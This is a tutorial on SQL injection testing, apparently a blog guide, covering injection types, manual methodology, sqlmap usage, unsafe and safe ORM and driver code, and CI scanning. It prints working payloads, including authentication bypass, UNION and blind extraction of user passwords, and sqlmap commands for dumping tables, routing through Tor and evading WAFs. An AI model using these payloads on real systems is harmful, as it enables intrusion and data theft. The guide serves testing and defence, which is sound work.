SQL Injection Testing: Finding and Preventing SQLi Vulnerabilities
SQL injection has been on the OWASP Top 10 for over a decade, and for good reason. A single SQLi vulnerability can expose an entire database — user records, payment data, passwords, internal configuration — to an attacker who knows nothing about your application beyond its login page. Despite widespread awareness, SQL injection vulnerabilities continue to appear in production applications every year. This guide covers how to find them, how to exploit them to prove impact, and how to fix them permanently.
What Is SQL Injection?
SQL injection occurs when user-supplied input is incorporated into a database query without proper sanitization or parameterization. The database cannot distinguish between the intended query structure and the injected payload — it executes whatever it receives.
Consider a login query written as string concatenation:
query = "SELECT * FROM users WHERE email='" + email + "' AND password='" + password + "'"If a user submits admin@example.com' -- as their email, the resulting query becomes:
SELECT * FROM users WHERE email='admin@example.com' --' AND password='anything'The -- comments out the password check. The attacker is authenticated as the admin user without knowing the password.
Types of SQL Injection
Error-Based SQL Injection
Error-based injection is the most straightforward type. The application returns database error messages that reveal information about the query structure, table names, or data.
Test payload for MySQL:
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))--If the application returns something like:
XPATH syntax error: '~5.7.38-log'You have confirmed error-based SQLi and learned the database version.
For Microsoft SQL Server:
'; SELECT 1/0--A divide-by-zero error confirms the injection point.
Union-Based SQL Injection
Union-based injection uses the UNION operator to append a second query to the original, returning data from other tables in the application's response.
First, determine the number of columns in the original query:
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--Increment until you get an error — that tells you the column count. Then use UNION to extract data:
' UNION SELECT NULL, username, password FROM users--If the original query returns 3 columns and the second and third are displayed, you can read the users table directly.
Blind SQL Injection
Blind SQLi is harder to exploit because the application does not return query results or error messages. You must infer information from the application's behavior.
Boolean-based blind — The application returns different responses for true vs. false conditions:
' AND 1=1-- (returns normal response)
' AND 1=2-- (returns different response, e.g., empty page or different content)Once you have a reliable true/false oracle, you can extract data one character at a time:
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'--
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='b'--This is slow but reliable. Tools like sqlmap automate this process.
Time-Based Blind SQL Injection
When boolean-based blind is not possible (the application always returns the same response), time-based injection uses database sleep functions to infer truth:
-- MySQL
' AND SLEEP(5)--
-- PostgreSQL
'; SELECT pg_sleep(5)--
-- Microsoft SQL Server
'; WAITFOR DELAY '0:0:5'--
-- Oracle
' AND 1=1 AND (SELECT COUNT(*) FROM all_objects) > 0--If the response takes exactly 5 seconds longer than normal, the condition evaluated to true and the sleep executed. You can then build a data extraction technique similar to boolean-based blind:
' AND IF(SUBSTRING((SELECT database()),1,1)='a', SLEEP(5), 0)--Manual Testing Methodology
Step 1: Identify Injection Points
Any parameter that gets incorporated into a database query is a potential injection point:
- URL path segments:
/product/123 - Query string parameters:
?id=123&category=shoes - POST body parameters: form fields, JSON body values
- HTTP headers:
Cookie,User-Agent,X-Forwarded-For,Referer - JSON properties in API requests
Step 2: Test for Error Conditions
Start with a single quote:
'Look for:
- HTTP 500 errors
- Database error messages in the response
- Abnormal application behavior (blank page, different layout)
Also try:
'' (two quotes — closes and reopens the string)
\ (backslash — may cause parse errors in some DBs)
;-- (statement terminator + comment)Step 3: Confirm the Injection
Inject a condition that should always be true and one that should always be false:
' AND '1'='1 (true — normal response)
' AND '1'='2 (false — different response)If the responses differ, you have confirmed SQL injection.
Step 4: Enumerate the Database
Once confirmed, extract the database type and version:
-- MySQL
' UNION SELECT 1, version(), database()--
-- PostgreSQL
' UNION SELECT 1, version(), current_database()--
-- MSSQL
' UNION SELECT 1, @@version, db_name()--Then enumerate tables:
-- MySQL/MariaDB
' UNION SELECT table_name, table_schema, 1 FROM information_schema.tables WHERE table_schema=database()--
-- PostgreSQL
' UNION SELECT table_name, table_catalog, 1 FROM information_schema.tables WHERE table_schema='public'--Automated Testing with sqlmap
sqlmap is the gold standard for SQL injection testing. It automates detection and exploitation across all injection types.
Basic Usage
# Test a URL parameter
sqlmap -u <span class="hljs-string">"https://app.example.com/product?id=123"
<span class="hljs-comment"># Test a POST request
sqlmap -u <span class="hljs-string">"https://app.example.com/login" \
--data=<span class="hljs-string">"email=test@example.com&password=test" \
--level=3 --risk=2
<span class="hljs-comment"># Test with a saved Burp Suite request file
sqlmap -r request.txtUseful sqlmap Options
# Enumerate databases
sqlmap -u <span class="hljs-string">"https://app.example.com/product?id=123" --dbs
<span class="hljs-comment"># Enumerate tables in a specific database
sqlmap -u <span class="hljs-string">"https://app.example.com/product?id=123" -D myapp --tables
<span class="hljs-comment"># Dump a specific table
sqlmap -u <span class="hljs-string">"https://app.example.com/product?id=123" \
-D myapp -T <span class="hljs-built_in">users --dump
<span class="hljs-comment"># Include authentication cookies
sqlmap -u <span class="hljs-string">"https://app.example.com/dashboard?tab=reports" \
--cookie=<span class="hljs-string">"session=abc123; csrf=xyz789"
<span class="hljs-comment"># Use Tor for anonymization
sqlmap -u <span class="hljs-string">"https://app.example.com/product?id=123" \
--tor --tor-type=SOCKS5 --check-tor
<span class="hljs-comment"># Time-based only (stealth)
sqlmap -u <span class="hljs-string">"https://app.example.com/product?id=123" \
--technique=T --time-sec=5
<span class="hljs-comment"># Bypass WAF with tamper scripts
sqlmap -u <span class="hljs-string">"https://app.example.com/product?id=123" \
--tamper=space2comment,betweenInterpreting sqlmap Output
[INFO] testing connection to the target URL
[INFO] checking if the target is protected by some kind of WAF/IPS
[WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[INFO] testing for SQL injection on GET parameter 'id'
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectableOnce sqlmap confirms injection, treat the database as compromised — dump only what you need to prove impact, document everything, and report immediately.
Testing ORMs and Frameworks
Modern applications often use ORMs (Hibernate, Django ORM, SQLAlchemy, ActiveRecord), which provide parameterized queries by default. However, ORMs can still be vulnerable when developers bypass them.
Django ORM — Safe vs. Unsafe
# SAFE: Django ORM with parameterized query
User.objects.filter(username=username)
# UNSAFE: Raw query with string formatting
User.objects.raw("SELECT * FROM auth_user WHERE username='%s'" % username)
# UNSAFE: extra() with unsafe interpolation
User.objects.extra(where=["username='%s'" % username])
# SAFE: Raw query with parameterized values
User.objects.raw("SELECT * FROM auth_user WHERE username=%s", [username])SQLAlchemy — Safe vs. Unsafe
# SAFE: ORM query
session.query(User).filter(User.username == username).first()
# SAFE: Parameterized text()
from sqlalchemy import text
session.execute(text("SELECT * FROM users WHERE username=:name"), {"name": username})
# UNSAFE: String formatting
session.execute("SELECT * FROM users WHERE username='%s'" % username)Hibernate (Java) — Safe vs. Unsafe
// SAFE: HQL with named parameter
Query query = session.createQuery("FROM User WHERE username = :name");
query.setParameter("name", username);
// UNSAFE: String concatenation in HQL
Query query = session.createQuery(
"FROM User WHERE username = '" + username + "'"
);
// UNSAFE: Native SQL with concatenation
session.createNativeQuery(
"SELECT * FROM users WHERE username = '" + username + "'"
);To find these vulnerabilities in code review, search for:
- String concatenation in query construction
%s,f"",+operators adjacent to query strings.raw(),.execute(),createQuery()with user input directly inside the string argument
How to Fix SQL Injection
Parameterized Queries (Primary Defense)
Every database driver supports parameterized queries. Use them everywhere:
# Python + psycopg2
import psycopg2
conn = psycopg2.connect(dsn)
cur = conn.cursor()
# NEVER do this:
cur.execute(f"SELECT * FROM users WHERE email='{email}'")
# Always do this:
cur.execute("SELECT * FROM users WHERE email=%s", (email,))// Node.js + pg (PostgreSQL)
const { Pool } = require('pg');
const pool = new Pool();
// UNSAFE
const result = await pool.query(`SELECT * FROM users WHERE email='${email}'`);
// SAFE
const result = await pool.query('SELECT * FROM users WHERE email=$1', [email]);// Java + JDBC
String sql = "SELECT * FROM users WHERE email = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, email);
ResultSet rs = stmt.executeQuery();// PHP + PDO
$stmt = $pdo->prepare("SELECT * FROM users WHERE email = :email");
$stmt->bindParam(':email', $email);
$stmt->execute();Stored Procedures
Stored procedures can be safe if they do not build dynamic SQL internally. Use parameters:
-- SAFE stored procedure
CREATE PROCEDURE GetUser @email NVARCHAR(255)
AS
SELECT * FROM users WHERE email = @email
-- UNSAFE stored procedure with dynamic SQL
CREATE PROCEDURE GetUser @email NVARCHAR(255)
AS
EXEC('SELECT * FROM users WHERE email = ''' + @email + '''')Input Validation (Defense in Depth)
Input validation is not a substitute for parameterized queries, but it adds another layer:
import re
def validate_username(username: str) -> bool:
# Only allow alphanumeric, underscore, hyphen
return bool(re.match(r'^[a-zA-Z0-9_-]{1,50}$', username))
def validate_integer_id(id_str: str) -> int:
try:
value = int(id_str)
if value <= 0:
raise ValueError("ID must be positive")
return value
except (ValueError, TypeError):
raise ValueError("Invalid ID format")Least Privilege Principle
The database user your application connects with should have only the permissions it needs:
-- Create a restricted application user
CREATE USER 'appuser'@'localhost' IDENTIFIED BY 'strongpassword';
-- Grant only what is needed
GRANT SELECT, INSERT, UPDATE ON myapp.* TO 'appuser'@'localhost';
-- Never grant these to the application user
-- GRANT DROP, ALTER, CREATE, SUPER, FILE TO 'appuser'@'localhost';Building SQLi Tests Into Your CI Pipeline
SQL injection testing should run on every build, not just during annual pentests.
Using OWASP ZAP in CI
# .github/workflows/security.yml
name: Security Scan
on: [push, pull_request]
jobs:
zap-scan:
runs-on: ubuntu-latest
steps:
- name: Start application
run: docker-compose up -d
- name: Run ZAP SQL injection scan
uses: zaproxy/action-active-scan@v0.10.0
with:
target: 'http://localhost:3000'
rules_file_name: '.zap/rules.tsv' # Enable only SQLi rules
- name: Upload ZAP Report
uses: actions/upload-artifact@v3
with:
name: zap-report
path: report_html.htmlsqlmap in CI (for staging environments)
#!/bin/bash
<span class="hljs-comment"># Run sqlmap against staging after deploy
STAGING_URL=<span class="hljs-string">"https://staging.example.com"
ENDPOINTS=(
<span class="hljs-string">"/api/products?id=1"
<span class="hljs-string">"/api/users?email=test@example.com"
<span class="hljs-string">"/api/search?q=shoes"
)
<span class="hljs-keyword">for endpoint <span class="hljs-keyword">in <span class="hljs-string">"${ENDPOINTS[@]}"; <span class="hljs-keyword">do
<span class="hljs-built_in">echo <span class="hljs-string">"Testing $endpoint"
sqlmap -u <span class="hljs-string">"$STAGING_URL$endpoint" \
--batch \
--level=2 \
--risk=1 \
--output-dir=/tmp/sqlmap-results \
--exit-code
<span class="hljs-keyword">if [ $? -ne 0 ]; <span class="hljs-keyword">then
<span class="hljs-built_in">echo <span class="hljs-string">"VULNERABILITY FOUND at $endpoint"
<span class="hljs-built_in">exit 1
<span class="hljs-keyword">fi
<span class="hljs-keyword">doneSummary
SQL injection remains one of the most impactful vulnerabilities in web applications because the fix is well-known yet frequently skipped. The defense is simple: use parameterized queries everywhere, without exception. The test is also simple: run sqlmap against every endpoint that accepts input, and use Burp Suite to manually verify the results.
If you find SQL injection in your application, treat it as a critical finding. Extract a proof-of-concept that demonstrates data access (without exfiltrating real user data), fix all affected queries with parameterized statements, audit the rest of the codebase for the same pattern, and re-test after the fix. A SQL injection vulnerability that was fixed in one endpoint but left in place five others is not a fixed vulnerability.